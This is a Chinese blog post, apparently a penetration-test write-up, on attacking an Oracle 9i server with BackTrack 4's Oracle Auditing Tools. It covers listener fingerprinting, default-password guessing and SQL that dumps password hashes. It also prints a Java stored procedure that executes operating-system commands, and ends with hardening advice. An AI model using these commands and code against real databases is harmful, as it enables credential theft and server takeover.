这次的内容是用 BackTrack 4 检测ORACLE服务器的安全性。
BackTrack 4 整合了很多hack软件,作为测试的一个平台系统,使用BackTrack做各种测试是很方便的。
BT4里内嵌了一套针对ORACLE数据库的检测工具集:OAT(Oracle Auditing Tools)
软件地址:http://www.cqure.net/wp/test/
当然开始前还需要安装 JAVA 和 ORACLE JDBC下载地址:
Java Runtime Environment
http://www.javasoft.com or your favorite google query
Oracle JDBC Driver (classes111.zip or classes12.zip)
http://www.oracle.com or your favorite google query
准备工作一切就绪,我们开始进行检测~~
一 我们先使用 otnsctl 来看看ORACLE服务器是使用什么操作系统、数据库版本、SID名称及详细的Services服务信息
指令格式:./otnsctl.sh -s ip -I windows
成功连接后会出现tnscmd>提示符,有4项功能:1设置连接监听器的密码 2 查看服务信息 3 SID信息 4 查看数据库版本
现在我们获知这台oracle服务器操作系统是32位WINDOWS,数据库版本是9.2.0.1.0,SID是:STARLIMS。
二 接着使用 opwg.sh 检测用户和口令,看是否存在疏忽遗漏的默认口令。
命令格式:./opwg.sh -s ip
检测出了SID和一个默认用户口令。
三 有了用户口令、SID。就可以用 oquery.sh 执行SQL语句查询。
命令格式:./oquery.sh -s ip -u name -p password -d SID
知道当前用户口令还是DBA权限,GOOD~
四 再要进行深入,用ORACLE客户端连接就简单很多。
命令格式:sqlplus name/password@//ip:1521/SID
用SQL脚本直接执行指令(比起手写输入要省事),查询用户HASH。
最后就是尝试创建管理员用户。
使用rdesktop连接远程桌面。
检测目的达到,由于数据库没有把dbsnmp这个默认用户设置为locked,在基本信息泄露后,通过该用户连接到数据库,导致服务器失陷,如服务器后面还有域的话,
或会被渗透,那对于整个内网来说将会是灾难。
检测结束删除刚才创建的用户,恢复原来状态。
建议不需要listener的就关闭监听。把不使用的默认用户设置LOCKED状态。用户权限要设置清晰,多余权限一律不予分配。
就写到这。由于本人刚开始学习,文中难免有错漏,希望各位见谅,吾还在不断努力学习中。。。 ^-^
PS:贴出文中提到的SQL代码
see.sql
====================================================
select a.username, a.password
from sys.dba_users a left outer join sys.dba_users b on
b.username = a.username
;
====================================================
java.sql
====================================================
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer
, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x:=run_cmz('net1 user');
本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/638582,如需转载请自行联系原作者